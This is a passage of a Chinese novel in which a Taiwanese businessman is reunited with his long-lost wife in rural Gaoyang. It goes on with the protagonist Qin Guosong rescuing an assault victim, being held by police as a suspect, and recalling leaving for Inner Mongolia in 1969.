王文甫以为秦国颂是怕引起他们的伤感。故意单纯的扭转话题。他心想,这真是一个单纯而质朴的人。我们都见了面了,这话题恐怕是绕不过去了的。 他微笑着看了秦国颂。“国颂啊。来的这人不是清文吗?嗯?” 秦国颂紧张的点了点头。王清文面带微笑的对王文甫说。“老先生,我是王清文。” 王文甫握紧了王清文的手。“你可知道我是谁?他没跟你说吗?” 王清文摇了摇头。 “我是王文甫啊。是大雅他爹。大雅是我的亲闺女啊。你,你就是我那女婿啊!” 王清文一下子就愣住了。我的天哪……这天底下真的是…… 陈秘书赶紧搀扶住董事长王文甫,扶着他们坐到沙发上。 秦国颂也缓缓地挪到了沙发上坐下。眼前的情形让他慢慢的看得有些清晰了。他稳定了自己的情绪。让秘书给他拿烟。 秘书把烟递给他,并给他点着。秦国颂深深的吸了一口。慢慢的缓解着自己的情绪。他想了想,他记得和二凤也有过一次这样的情绪失控…… 王清文此时此刻也激动的说不出话来。他望着王文甫。仔细端详了他的眉眼。大雅长得真像极了他!他的眼泪几次都要涌出他的眼眶。但是他忍着,他忽然想到他曾经还是一个军人。而且坐在他身旁的这位老者也曾经是一位军人。军人都有一个共同的天性。那就是刚强坚毅。 王清文稳定好了自己的情绪。对王文甫深情而尊敬的说道。“老先生……不,我应该叫您爸爸……大雅的事您都知道了?” 王文甫含着眼泪点了点头。 王清文对秦国颂说道。“小雅的事情告诉他了吗?” 秦国颂也点了点头。 王清文接着说道。“等咱们从高阳回来找个合适的机会再告诉小雅……” 屋里在座的人都深深的点了点头。 陈秘书微笑地走近了王文甫。“董事长,您这是喜事啊。咱们大家都应该高兴才是啊!” 王文甫深情的点了点头。“真是值得庆幸啊,那过去了的事情就让它过去吧……我们应当向前看……”他沉思的像是说给自己又像是说给在屋子里所有的人。“但愿大雅的妈妈还在,还活着……” 屋里的人把右手都放到了自己的胸口。一齐说道:但愿好人平安…… 两辆商务车载着王文甫一行人来到了高阳。秦国颂凭着20多年前的记忆丝毫不差的来到了大雅她妈妈住的院子门前。这个村落这个院落几乎和20年前一模一样。依旧是那样的古朴,那样的陈旧。他们下了车。立刻就被一群乡亲们围了上来。秦国颂赶忙向人群中的一位老者打探。 “老伯伯给您打听一个人,您知道吗?姓曹,叫曹静稚。”他指了指关着门的那个院门口。“我记得就在这院里住。我以前来过。” 老大爷摇了摇头。问秦国颂“你说的这个人年纪多大了?小名叫什么?说大名,我们一时对不上号。” 秦国颂张了张嘴,摇了摇头。 王文甫这时走了过来。“这位大哥我跟您说。我们要找的这个人70多岁了。是个女人,她姓曹,小名叫小静……” 老大爷一拍大腿。“嗨!这一说不就知道了!”他指了指大门说。“就是这家,就在这儿!”他走过去边拍门边推门。门掩着,“吱扭”一声门就推开了。老大爷领着王文甫径直往屋里走。边走边喊。“唉,曹大婶!你们家来戚了。” 屋里的人边答应着边往外走。她走到屋门口,看到院里来了这么多人。一下子愣在了那里。 “你们,你们这是要找谁?从哪儿来的呀?” 王文甫看着站在屋门口的这位老年妇女。穿的干净利索。头发已经全都白了,梳理得平平整整绾了一个发髻。白白的脸颊落着几丝浅浅的皱纹。看着人似在微笑,但那双眼睛里却分明在流露着哀怨,流露着岁月给她带来的忧伤。 秦国颂快步走到了曹静稚跟前。“大妈,您好啊,你还认识我吗?我……” 曹静稚摇了摇头。 王文甫向前走了几步。走到曹静稚跟前。深情的看着她,缓缓的说道。“你看看我还认识吗?小静……” 曹静稚被这一句“小静”叫的呆愣在那里。她看着眼前站在她面前的这个老男人。细细的打量。王文甫摘了礼帽,又摘下了眼镜。温柔的又说了一句。 “小静……这么多年来你可好呀!” 曹静稚看着王文甫。上上下下的又把他打量了一遍。她心里终于确认了这个人是谁。打死她都不敢想到的这个人竟然站在了她的面前……她的嘴颤抖的张了几下没能发出声音来。 王文甫紧接着又说道。“小静,小静是我呀。你的文甫!” 曹静稚一声都没有言语。腿一软一下子就栽到了王文甫的怀里…… 众人们赶紧上前搀扶。扶着他们二人进了屋。 屋内依旧是农村那种一间屋子半间炕的样式。屋内拾掇的整洁干净。 王文甫与曹静稚坐在炕边。王文甫紧紧的握着曹静稚的手。嘴里只是不停的说着。“小静,小静,我来了……” 曹静稚看看王文甫。又看看屋里的众人,一句话也说不出。她又盯着王文甫看,不错眼珠的看了半天。忽然“哇”的一声大声的哭了起来…… 她放声的大哭……使劲儿的哭嚎……她要把这一生的痛苦,悲怨,愤懑等等等等一起倾诉出来……她要把她忍了大半生的眼泪倾泻干净!她见到了亲人! 在屋里的人全都哭了…… 秦国颂边哭边对王清文说。“大雅死我们来送信,她一滴眼泪都没有……她那时候是心死了,现在是活了……” 王清文流着泪点着头。 他慢慢的走到王文甫与曹静稚跟前。 缓缓的单膝跪下。轻声的叫了一声。 “妈……爸爸……” ………… 第42章 农村喜庆 王文甫一行人到来的消息,对于这个小小的农村来说,不亚于一声春雷。这个爆炸性的新闻立刻一传十,十传百,在整个村子里传播开来。人们簇拥着来到了曹静稚的大院门口,院里院外都是人。尤其是停在院门口的那两辆商务汽车,成了人们的稀罕物。别说这村子了,就算是这个县城这个城市都找不出两辆这样的车子。人们围着汽车围着院落议论着交谈着,脸上露出欢心欢庆的喜色。 村长来了。他知道了事情的缘由。他分开众人挤进院子,挤进了曹静稚的屋子。屋子里的人满满当当的热闹非凡。 村长摆着手让大家静一下,他有话要说。他走到王文甫跟前,与王文甫热情的握手。 “老先生,欢迎你啊,辛苦了!我刚才都听说了。这可是天大的喜事啊!咱们村里来了贵客,我可要好好的款待你们呀。” 王文甫微笑的点头。“谢谢村长,谢谢村长!” 村长对曹静稚开心的说道。“曹大妈,想不到吧!开心不开心呀?” 曹静稚流着眼泪笑着点着头。她不知道说什么好了。此时此刻心里百感交集,想说要说的话实在是太多了。但是自从王文甫和她见了面以后。王文甫的一句“小静”叫的她一句话都说不出来了,她脑海里显现出来的全部都是她年轻时期的画面,她和王文甫热恋时结婚后有了孩子大雅……自从王文甫走了以后,“小静”这个名字从来没有再听到有人叫过她。而今天这股温暖流又流遍了她的全身……她温柔的享受着。从王文甫到来到现在,她一句话都还没有说过。当她看到王清文时,才得知这是当年只见过几次面的女婿。用手摸着王清文的脸,拉着他让他坐到了自己身旁。左边是丈夫王文甫,右边是女婿王清文。她左右的看着,流着泪,笑着。 村长看着曹静稚,大声的说。“曹大妈。今天是你的大喜事。和丈夫重逢,又和姑爷相见。这可是双喜临门啊!我这么想的啊,征求您老的意见。我想今天晚上咱们在村里大摆宴席。隆重的庆祝一下!” 曹静稚看着王文甫点了点头。 王文甫站起来又握住了村长的手。心情激动的说道。“好的。是要好好的庆祝一下。这样吧,你合计一下咱们要摆多少桌?我请客……” 村长大声的说道。“老先生,您这就是见外啦!您是客人,怎么能让您请客呢?我代表全村子的人请您。请你们!乡亲们,你们说我说的对吗?” 屋里,村里的人大声说好,全部呼应。 王文甫摆了摆手说道。“村长先生,你这话说的我不愿听。我怎么能是客人呢?嗯?我是咱们村子里的人。自家人请自家人吃顿饭这个有什么不应该的?千万不要给我争了。这客,今天我请定了!” 他转身对随从来的陈秘书说道。“小陈啊,先准备1万块钱。交给村长,让他去安排。不够的话再去取。” 陈秘书答应着去取钱。 村长与在屋里的乡亲们都愣了。1万块钱。在这个时期,这可是个天文数字。1万块钱就是人们朝思暮想的万元户啊!这个在城市里的工人平均月收入不足50元的时期,更何况是在农村呢?对于广大还没有富裕起来的农民来说,这是个想都不敢想的数字。 王文甫又对村长说。“这事拜托您去办了。一定要让它丰盛一些,钱的事不用考虑。好肉好菜好酒,给乡亲们上!我再次谢谢您了。对,还有烟,一定要买最好的。” 就在人们兴高采烈的祝福的时候,就在人们奔走相告准备晚宴的时候,人们冷落了一个人,人们太高兴了,太兴奋了。这其中包括董事长王文甫,到天已经渐渐的擦黑了,晚宴就要开始的时候,有人才想起来他。秦国颂! 秦国颂走了。 秦国颂的独自离去。并不是因为人们暂时的冷落了他,而是他觉得自己的任务基本完成了。现在的他内心充满了矛盾,自从王文甫和曹静稚见面以后,冷静下来的他第一个想到的便是二风。然后又想到了大凤,他心里十分的纠结。他不知道怎样面对大凤,他更不知道见了大凤怎样开口?他觉得他做了一件最最对不住大凤的一件事。他一想到大凤那失落而无助的眼神,那双似乎绝望的眼睛,在他眼前,在他脑海里晃动。他觉得他只有死在大凤面前,才能求得大凤的原谅…… 然而这一点他却恰恰想错了。假如他真的要死在大凤面前,那却是大凤最不能原谅的地方。把小雅的秘密泄露了,大凤还有可能慢慢的会原谅他。假如他真的要死在了大凤面前,大凤不但不能原谅他,甚至有可能大凤也会死去……大凤爱着秦国颂,在某种程度上要远远的胜于二凤。 秦国颂离开了村子,独自一人走在了乡间小路上。他看着夕阳,迎着晚风,在田野里穿行。这时候他的心竟然有了一丝宽慰。他想着他要去哪里。家暂时是不能回了,无法面对大凤。这事儿就是别人不提,秦国颂也会主动的对大凤讲。因为大凤在他面前就如同是他的上帝。这种事都发生到这个地步了,他无法再在大凤面前隐瞒下去。他的良心会备受煎熬,会让他痛不欲生……他忽然转念一想,假如要是没有找到曹静稚那该多好。小雅的秘密就不会这样那么容易的揭开。大凤还能在安心的过些日子…… 他忽然想到了黄国英。嗯,去找他! 村长的活动能力可真强。他很快的就召集好了炊事班子。叫来了邻村的专门从事婚丧嫁娶的餐饮团体。这个专业团体以极快的速度埋锅起灶,迅速支起了二十几张大圆桌。圆桌不够,又从各家借了来。起火做饭。主菜是王文甫吩咐的,他最爱吃的一道菜,也是他多少年来没有吃到过的一道菜,大铁锅烩菜。猪肉,粉条,豆腐,白菜。各备其他的小菜凉菜。炒菜以鸡蛋肉为主。主食是从县城买来的白面馒头。全村的人都盼着吃上这道大菜盛宴。对村民们来讲,这可是改善生活的极好的一次机遇。 晚上8点左右。院里院外坐满了人。拉起了电灯,整个的餐饮盛会灯火通明。 宴会仪式准备开始。就在这时,有人向董事长王文甫说。秦国颂不见了,整个村子基本上都找遍了。没见他的人影。 王文甫叫来了村长,对村长说。“我们这里不见了一个特别重要的人。能不能派人去找找?” 村长“啊”了一声。“全村的人基本上都在这儿了。我问一下,看看有没有人见过他。” 村长拿过扩音喇叭。向村民们说着找人的信息。问人们是否见过一个40岁左右的外地人。人们都摇头,所有的人差不多都在这里。没人发现有人出村。 王文甫有些失望的摇了摇头。心里琢磨着,他这是去哪儿了呢?发生了什么情况呢?会让他不辞而别。这可真是个怪人。他立刻通知开车来的司机。让他按来的原路回去找,因为现在已经没有回城里的长途班车了。他要是回家一定是走着。司机答应着开动了汽车,去找秦国颂。 失去了一个重要的人。王文甫的心里有了一些阴影。但很快他就把状态调整了过来。招呼大家招呼村长晚宴开始。 曹静稚默默的坐在大圆桌前。左边是王文甫,右边是王清文。她看着满满的一大桌子菜。说了自从王文甫到来以后的第二句话。 “大雅要是活着该有多好……我那可怜的孩子……” 第43章 夜奔 秦国颂借着夜色在大片的庄稼地里走着。他现在基本上分不清东南西北。只是想尽快的走到大路上。到了公路上他就好办了。然而呈现在他眼前的都是一大片一大片的庄稼地。他只是回头望去,影影绰绰的他离开的那个村庄越来越远了。他心里暗想离开村庄越远距离公路就越近。他就抱着这个念想走着的,他也不知道走了多长时间,走累了就坐下来歇会儿。他觉得肚子有些饿了。想了想,嗯,就是白天来高阳前中午吃的饭,到现在一粒米没进一口水没喝。肚子饿的咕噜咕噜的直叫。他坐在田埂上,看着满天的星斗。晚风吹来,一阵阵凉意。他索性就躺在了田埂上,抬头看着天上的星星。心里数着:一个,两个,三个,四个…… 渐渐的他数累了,眼睛一闭,便进入了梦乡…… 迷迷糊糊的他好像是看到了他自己。一个人在旷野里奔跑。后面有一群人追他。追他的人越来越近,眼看就被后边的人追上,急得他手脚并用,像狗一样的跑。这时,一个拿着棍子的人追到他跟前,举起棍子就要打。其他的人也都围了上来,他已无处躲藏。就在这紧急时刻,他忽然脑海里一想,嗯,我还会飞呢,怎么忘了?他浑身一用劲,脚下用力一蹬。腿与身子借着这个势头做着蝶泳的姿势,秦国颂会蝶泳吗?我想他应当会。他还会跳水呢,他可以在10米高的跳台上来一个雄鹰展翅。这个动作一般人很难做到的。秦国颂在空中的蝶泳动作越来越快,越来越快。呀,他真的飞了起来!飞得不高,也就是两三米那样。下边的人都惊呆呆的看着他。那个拿棍子的人挥着棍子冲他打来,眼看就要打着了,他使劲一挺,又升高了一米。这一下下面的人没有办法了。眼看着他越飞越高越飞越快……看着下面的人越来越小。他躺在高空中,伸开双手,侧着脸看下面的人。然后他微笑着给下面的人摆摆手。向远处飞去。 他飞得很快。飞过他身下面的大片大片的麦田。飞过田野,飞过村庄。飞到了一座他不认识的城市。他在这座城市上空盘旋,想寻找熟悉的地方。无奈,熟悉的地方他一点也没有发现。他忽然觉得又好像在哪里见过。忘了在哪本书里见过了。像是在苏联……是的没错,他去过苏联。去苏联穿越边境的时候,他是走着过去的。那时的他还不会飞。现在他下面的建筑太有那里的特色了。一座又一座的高高的教堂。教堂顶上的半圆形的穹窿在他的身子下面。他想起来了,这里他来过。那大十字架呢?那个两人多高的大十字架哪去了?哦,是被他用绳子绑上,让地上的人给拽倒了。他看着想着让人们欢呼雀跃的场景,竟然觉得有些陶醉……就在这时他看到了一个人,这个人也在空中飞着。离得他越来越近。呀,还是个女人……光着身子,披散的长发在空中飘着,渐渐的靠近了他。他忽然看到了那洁白干净的身子,看清了这个女人长什么模样,这不是大雅吗?大雅离他越来越近,靠近了他的身边,张开双臂要拥抱他。他焦急的问道。你怎么在这儿?大雅也不说话,只是微笑着要抱他。他又问大雅。咱们不会掉下去吧?大雅依旧没有说话,身体浮在他的上面。脸对着他的脸,伸出舌头要舔他的嘴。他忽然看清楚了大雅怎么这么丑啊!漂亮的眉眼不见了,感觉鼻子挺大,嘴也挺大,咧着嘴对他微微的笑。身体与他的身体似挨着又好像没有挨着,他非常想与大雅的身体贴紧,使劲的挺直的身子去贴近大雅的身体。然而怎么样使劲都贴不到大雅身上。浮在她身子上面的大雅看着也很着急,又伸出舌头来在他嘴边送,他耳边响着大雅急促的呼吸声。他也张开嘴去迎接大雅的舌头,反而越使劲越够不着。急得他一下子伸出双手抱住了大雅,猛的一翻身…… 一下子惊醒了。 他睁开眼睛一看。天已蒙蒙的亮。一只大黄狗蹲坐在他身边。伸着舌头,呼哧呼哧的喘着气。他看了看旁边,一个人也没有。就是那只大黄狗依旧蹲在他旁边喘着气。他有些沮丧的摇了摇头。然后又兴奋起来。他微笑着对他身旁的大黄狗说着话。大黄狗依旧是吐的舌头喘着气。哦,他听不懂我说的话。他心里想如果这不是一只野狗的话,那附近一定是有人家。他借着有些微微见白了的夜色,向周围向远方望去。影影绰绰的远处好似是一座村庄。他起了身,拍了拍身上的土。微笑的对大黄狗说。 “你带路,我去你们家。” 大黄狗摇了摇尾巴,向那片村落跑去。 他跟在大黄狗后面走。逐渐的加快了脚步。他肚子很饿,他想赶快找点吃的。 他跟着大黄狗跑去的方向来到了村子边的一户人家。看到大黄狗蹲在门口也不叫也不咬。他站在院门口,向院里喊道。 “喂!老乡,院里有人吗?” 听到院里边有一个老者咳嗽了一声。趿拉着鞋走了出来。“谁呀,这天刚亮就来串门呐?” 老者一看秦国颂。不像是本村里的人。眯着眼睛问他。 “你是谁呀?从哪儿来呀?” 秦国颂用手指了指远处。“从那边过来。挺远的,我走了好长时间了。” 老者说。“听你说话的口音可不是本地人。” 秦国颂说。“我是从高阳走过来的。我想去省里,不知道这是什么地方。” 老者惊讶的瞪了一下眼睛。“从高阳?这儿是高阳和蠡县的边界。好家伙,你是从高阳县城走过来的?” 秦国颂说。“差不多吧,反正是特别远。我晚上七八点钟开始走的,走到现在。” 老者上下打量了他一番。对他说道。“看模样你也不像什么坏人。有什么事儿你就说吧?” 秦国颂说“第一呢,我就是想问问路。通往省会的公路怎么走?我好去搭车。还有呢,我就是饿了,想吃点东西……” 老者说。“嗯,那你先进来吧。我给你找点吃的。” 秦国颂跟着老者进了院子。到了屋内。那只大黄狗也摇着尾巴跟着进了屋子。 秦国颂说。“多亏了它。如果不是遇到它,我还找不到这里的。谢谢你了,好伙伴。”他笑着用手摸着大黄狗的头。 老者给他拿过来两个馒头。还有一块咸菜。微笑着对他说道。 “没别的,就这个,你就凑合着吃吧。我们也是吃这个。” 秦国颂微笑着接过了馒头和咸菜。一边点头致谢一边说。“谢谢你了老爷爷。吃这个行啊。吃饱就行了。” 说完他大口吃了馒头,咬着咸菜。 老者看他吃的这么急,赶紧劝他。 “你慢点吃,不急。我给你舀点水喝。先喝口水,别噎着。” 秦国颂一边点着头,一边三下五除二的就着那块咸菜把那两个馒头吃了下去。他喝了口水。对老者说。 “谢谢你了,老大爷。我身上没带多少钱……”他翻着衣袋儿。找出来两块多钱。拿出一块钱递给老者。 “我就这么点儿钱。先给您一块不知道够不够?剩下的一块多钱,我想打个电话。” 老者急忙摆手。“看你说的吃两个馒头还要什么钱呀?我这里确实也没别的。你刚说你要去省里,你这点钱怎么能够啊?”老者示意着让他把钱装上。“你这可真是,吃俩馒头还能要你的钱呀!” 秦国颂点着头不住地表示感谢。他又问道。“这村子里谁家有电话呀?我想打个电话。” 老者摇了摇头。“这个村子里可没有有电话的家主。谁家装的起那个呀?再说装那有什么用?这也是个穷村子。” 秦国颂又向老者道谢。问道。“这儿离着公路近吗?我想到公路上去拦一辆车。” 老者领着秦国颂走出了屋子,来到了院外。他用手指着远处。“公路离这儿挺远的呢。你一直向南走。大约走个十几里地吧,就能看到大道了。” 秦国颂点了点头。与老者握了握手。道别再见。 他按照老者指的方向沿着地龙沟,一直向南方走去。走了大约将近一个小时。走到了一条筑堤大坝上。看到大坝另一边不远处有一个简易的井房。他想去井房那边找口水喝。他也不知道现在是几点钟了,望着东边的日出,估摸着也就是早上六七点钟。他走到了那间破败的井房一个缺口处,探着身子刚要进去。忽然发现里面躺着一个人。是个女人。这个女人倒背着双手被绑在那里侧着身子躺着,嘴里塞着一块破布。解开的上衣半遮着前胸,下身的裤子已经退到了膝盖以下。吓得秦国颂“啊”的一声: “我操。这他妈……” 他再仔细看时,那个女人扭动了几下身子。嘴里“呜呜”的叫着。她还活着。 秦国颂赶紧上前拿下了她嘴里的破布。用手把她裸露下身的裤子向上提了提。连忙问她,“不要怕,不要怕。我是路过的,想在这里喝口水。结果……” 那女人看着他,眼里含着泪,点了点头。 秦国颂赶忙问她:“你这是让人欺负了?你认识那人吗?我领着你去报案!” 那女人摇摇头,惊恐的断断续续的说。“不认识……我是外地来的,从四川来的找工作,在县汽车站碰到了一个人……他说能给我找到工作……就用自行车驮着我……”一边说着,一边呜咽地哭了起来。 秦国颂赶紧给她解开了绑在背后的双手。这女人松了双手赶紧的把裤子提上。秦国颂这才仔细的打量着眼前的这个女人。这女人也就是20多岁,长得还不难看。 秦国颂看着这女人。给她说。“你打算怎样?咱们去报案吧?” 那女人看着秦国颂。呆愣愣的说。“我身上带的十几块钱与身份证都让那人给弄走了……这怎么办呀?”说着又哭了起来。 秦国颂赶忙安慰她。“先别哭了,咱们赶紧去报案吧!” 那女人点了点头。跟着秦国颂走出了这间破井房。 他们俩顺着大堤走着。大约走了有几里路,眼前看到了公路。 秦国颂跑到公路上拦截着过往的汽车。好不容易拦下了一辆说明了情况。那人犹豫的看着他们俩。对他俩说道。 “打110报警啊!” 秦国颂说。“哪有电话呀?上哪儿打电话呀?您这么着行吗?求您了,把我们带到有电话的地方。我和她也不认识,我是在一间很远的破井房里看到她的……” 那人犹豫了一下。有些无可奈何的说道。“好吧,我带你们沿着公路走。碰到加油站就有电话了。” 他们两个上了那人的汽车。汽车开了大约有10多分钟。来到了一个加油站。 秦国颂说明了情况,在加油站拨打了110。 警车很快就到了。把秦国颂和那女人一起带到了派出所。 警察开始详细的做笔录。秦国颂对询问他的警察说。“麻烦您,我想打个电话。” 警察领着秦国颂来到了派出所的电话机前,对他说:“你先说号码吧,我给你拨。” 秦国颂抓耳挠腮的想了半天,黄国英的电话他没有。他只记得大凤家的电话。他犹豫着要不要先给大凤家打电话。打通电话他不知道说什么。那个警察有些不耐烦的在一边催他。让他快一点,这里还办着案子呢! 秦国颂又想了一下,让警察拨通了大凤家的电话。 接电话的是老检察长张子东。 秦国颂对张子东讲要一下黄国英的电话。说自己有事情找他。张子东把黄国英的电话号码告诉了秦国颂。还问了他一晚上都没有回来跑哪儿去了,大家都非常的着急。秦国颂简单的对张子东说了几句。并且告诉他很快就回去了。他有事情找黄国英。 秦国颂记下了黄国英的电话。对旁边守着的那位警察说。“我再打一个电话好不好?” 那位警察让他快一点。随即拨通了黄国英的电话。 电话没有打通。黄国英还没有上班。 秦国颂又跟着那警察回到了讯问室。 刚回到了询问室,正在询问那女人的两位警察对陪着秦国颂进来的那位警察说。 “先不能让他走。事情好像有些复杂。”他指的是秦国颂。 秦国颂有些不解的看着他们。这时领着秦国颂打电话的那位警察对秦国颂说。 “你先跟我走吧,咱们去另一间屋。” 秦国颂满脸疑惑的跟着那警察走了。 秦国颂没有携带有效的身份证件。警察不能放他走。 秦国颂一个人被关在了房间里。他摇了摇头,哀叹了一声。 我他妈这闲事管的…… 第44章 命途多舛 秦国颂作为案发现场的第一发现者,也许他并非是第一,也许有的人看到过案发现场奔着多一事不如少一事的原则悄然走开了呢。然而这事却偏偏让秦国颂遇到了。他又偏偏没有走开,并且解救了受害者,与受害女人双双一同找警方报了案。善良的秦国颂觉得他做的并没有错,他只是天真的认为谁遇到这样的事情都会管的。然而就是因为他这种天真给他带来了意想不到的一些麻烦。 警察办案。在没有找到真正的凶手以前,与这事沾点边的都是怀疑的对象。尤其是强奸案。恰恰秦国颂又是一个男的。这事儿在很大程度上不得不引起警察的一些怀疑。待进一步再观察秦国颂的一些举止,还有它的相貌特征,并且他又不是本地的人,身上既没有钱,又没有带合法的证件。这个人到底是干什么的?而且他还说他是跑出来的,他从哪儿跑出来的?他为什么要跑出来?这些疑点不得不引起警察的怀疑。在和秦国颂进一步交谈时,他有的时候说出的话有些着三不着两。甚至有的还答非所问。更让警察觉得这个人对这起案件有着一定的关联。于是警察决定先不放秦国颂走,要先查清他到底是个什么样的人。 这一查可不要紧。秦国颂竟然是两次进过牢房的人。最后一次释放出来还不足一个月。第一次入狱是83年严打以流氓罪被判了12年,后又获得了减刑。秦国颂自己交代所谓的流氓罪就是和一些高干子女在一起跳舞以及参加一些派对。赶上严打误打误撞的进去的,还差一点被枪毙了,他并没有和女人有过实质性的接触。因为他的心思是在《相对论》上。警察没有听明白他说的相对论是什么?第二次进去罪名定的是扰乱社会治安。其实并没有进监狱,只是进了看守所被刑事拘留。从89年到90年整整关了一年多。刚刚被释放不久。警察对他左盘右问问的他不耐烦了,竟然对警察发火了。 “我从哪儿跑出来的,跟你们有什么关系?从高阳跑出来的怎么了!我是被人用轿车接着去的高阳。帮一个台湾来的商人寻找亲人。找到了以后,我又觉得这事儿有点儿对不住大凤,真的是这样,人家大凤把小雅养了那么多年。说不是亲的就不是亲的了?小雅她姥姥20多年前就跟我讲过,不要让我说出去,不要让我说去!竟然还是给说了出去。你们不信你们可以去高阳问呀。弄不好他们还在那儿……” 警察听着这东一榔头西一斧子的话。越发琢磨不透,这人是不是有什么病吧?从表面看上去挺正常的。还有就是他管的这件事情,假如他说的是真的话,那他真是太正常了。 又听到秦国颂继续喊道。“你们不让我走干嘛?你们是不是怀疑我呀?你们问问那女的不就行了吗?她最清楚是谁救了她,是谁害了她。我好心好意的把她救了,都救出不是来了……” 警察对他说。“你喊什么,冷静!我们问那女的了。那女的一开始说不是你。后来又弄不清了,她有可能是被吓着了。到底是谁?那女的也有问题,她也是偷着跑出来的……” “我操!这他妈事儿弄的……”秦国颂嘴里嘟囔着。无可奈何的对警察说。“你能先给我根烟抽吗?我告诉你们,你们去打电话。电话那边的是省法院的一个法官。黄国英,我的好朋友。你们可以问他呀!” 警察笑着说。电话打了,打不通。 秦国颂继续说道。“那,那你们再给大凤家里打呀。他爸爸以前是省检察院的检察长。我们住一个院子。” 警察又笑笑说。“该给谁打电话,我们自有分寸的。并不是你让我们跟谁打,我们就会跟谁打。你先老老实实的在这里呆着。给你一张纸,给你一支笔。你先把这两天的经历写在这张纸上。主要是写在那个破井房里看到的情景以及前后的时间。行了,你先写吧!” 警察走了,并关上了门。 秦国颂一个人在屋里坐。他要的烟警察也没给他拿来。他看着桌上的纸和笔,不知道从哪里开始写…… 他忽然想起了二凤。都这么多年了,也没有见过她,她在干嘛呢? 他回忆着和二凤的点点滴滴。他想起了第一次和二凤两个人一同去湖北,去他们老家红安。后来又一同去了高阳见到了大雅的妈妈……再后来他们又去了无线电厂上班。他是安康给介绍去的。二凤是自己找了去的,二凤真有本事。在厂子里待了没两年他们分开了。他去了北京,上了大学,成为一名工农兵大学生。二凤和安康作为“工宣队”的代表,进驻了当地的一所农业大学。后来还听说安康追求二凤。追求到了吗?肯定没有。为什么这么肯定呢?后面的事可以证明。他在北京上了几个月的学,因为护着被批斗的老教授,就被学校除名了。除名后他先去了省会找的黄国英。黄国英把他留在了省里,他住在黄国英家里。黄国英对他真好,白天去上班,晚上回来就跟他聊天。他喜欢听黄国英说话,黄国英也喜欢听他说。他说什么黄国英都爱听。他就给黄国英讲相对论。从北京大学拿回来的那些书,他天天看。没得看了,他就看马列,先挑着里面哲学方面的看。后来实在没得看了,他把资本论都读完了。在黄国英家住了有半年多。期间也跟着黄国英回到大院来住了一阵子。黄国英探亲,他也跟着探亲。他父亲秦义辉知道了他的处境,并且得知内蒙古刚刚成立了生产建设兵团,这是69年的五月份,他父亲在报纸上看到了消息,毅然决然的找到了组织,给他报了名。让他去兵团。二凤知道了这个事情。随即辞去了无线电厂的工作,也跟着报了名,要和他一起去内蒙古生产建设兵团。可见他们俩相爱的有多深。可见这里绝对没有安康什么事情。如果安康追求到了二凤,二凤就不会毅然决然的跟随着秦国颂去内蒙古。也许二凤还有其他的想法,但秦国颂不愿意想其他的。他想着就是二凤单纯的和他相爱。我的天哪,这是多么大胆勇敢的爱情。放着好好的工作不去做,偏偏跟着一个男人,一个比他小两岁的男人,跑到了内蒙古建设兵团。那一年秦国颂18岁,二凤也就是张文凤20岁…… 秦国颂呆呆的坐在屋里。想着他那甜蜜的18岁。哦,不对,那一年他好像是19岁了。他自己微微的笑了一下。那日子,那情景,那可爱的二凤,还有充满青春活力的他…… 他的心一下子飞到了内蒙古大草原…… 第45章 征途 1969年夏。我们的故事大都发生在夏季。火热的季节,火红的年代,火红的心燃烧着年轻的生命。每一颗年轻人的心都被这个时代点燃着。当然年轻人的心是最容易被点燃的,没有星火青春期躁动的阶段它还会自燃,更何况是有了火焰,年轻人的心会随着这把火焰把生命都要浇灌进去。假如鲜血能点燃的话,她定会能燃烧整个世界,全无敌。 锣鼓喧天的火车站,红旗招展,人们高举标语与横幅,“广阔天地,大有作为。”数不尽的年轻人身穿绿军装,胸带大红花,肩背着行囊,列队聚集在火车站广场。这几千名年轻人朝气蓬勃,像早晨八九点钟的太阳,迎着旭日迎着阳光。庄严的等待着出发的号令。这就是第一批远赴内蒙古建设兵团的知识青年,没有佩戴领章帽徽的青年人。他们整装列队在车站广场集合,等待着欢送大会的召开。 火车站广场人山人海。锣鼓声,鞭炮声响彻整个广场。 车站内,111次军列已经驶进站台。静候着这些小将们的登程。它的行程将近是两天一夜。 车站广场上的广播喇叭响了。领导开始讲话。他们热情的赞扬与鼓励这些革命小将们的精神,响应毛主席的伟大号召,到农村去,到边疆去,到祖国最需要的地方去!把青春献给祖国。 知识青年代表兵团战士张文凤代表全体启程的建设兵团的战友们讲话。她高亢激昂的充满斗志的讲话引起了一阵又一阵的掌声。秦国颂在队列里听着,看着在台上讲话的张文凤。他这时的感觉就如同一个打了胜仗的将军一样,趾高气扬。因为能够成为一个建设兵团的战士,那也不是人人都可以的做到的。那要经过严格的政审,全面的挑选才能够选出来的。秦国颂的父亲是老红军,根正苗红,他是当之无愧的被首选。张文凤是厂里与市里的红人。20岁出头的她早已成为家喻户晓的人物,尽管他父亲受到了一些冲击,但是他们家出身好,革命家庭,她又是党员,是个难得的人才。她最具有代表性与鼓动性,军代表与市革委会的领导点名让她作为代表讲话。张文凤也不负众望,讲的慷慨激昂,情真意切,每一句话都掷地有声。她代表着全市的知识青年响应毛主席的号召去最艰苦的地方。去建设伟大的祖国!去保卫祖国的边疆! 他们怀着满腔热血去铸就辉煌。 他们进站了,他们就要登上停在站台旁的军列了。他们纷纷与家属亲人们告别。热泪盈眶而又心花怒放。 秦国颂没有流泪。此时此刻,他心中有一种莫名其妙的惆怅。他说不出这种滋味是什么?他到车厢里探身探出车窗,与他妈妈和妹妹小英挥手,他妈妈用手绢擦着眼泪,小英则泪流满面,一遍又一遍的对他喊。常给家写信,拍照片寄来。秦义辉没有来,因为他觉得这不算啥子告别,比他当年参加红军背井离乡差远了。那才是真正的告别呢,搞不好一辈子就见不着了。现在这算什么?坐火车两三天就回来了。秦国颂此时的想法心情有点像他爸。他心里觉得干嘛要流泪呀?尽管这么想,但是他心里还是觉得有些空落落的。就像那年他去北京上学和二凤分手的时候那种感觉一样。不过这次让他觉得充实的是二凤在他的身边。跟着他一起踏上征程。 二凤和她的家人们挥手告别。她和秦国颂一样也没有哭。她看着车外送行的人,她站在列车门口,用手扶着车门框微笑着与站台上的人们挥手。看着站台上满脸是泪的亲人,她大声的喊着:再见了,亲人们!祖国的边疆需要我们,我们定会把它建设成繁荣的家园! 上午10点,列车缓缓的开动了。她仍然站在车门口。手握着门口的把手。探出身子挥手向站台上的人们致意告别。 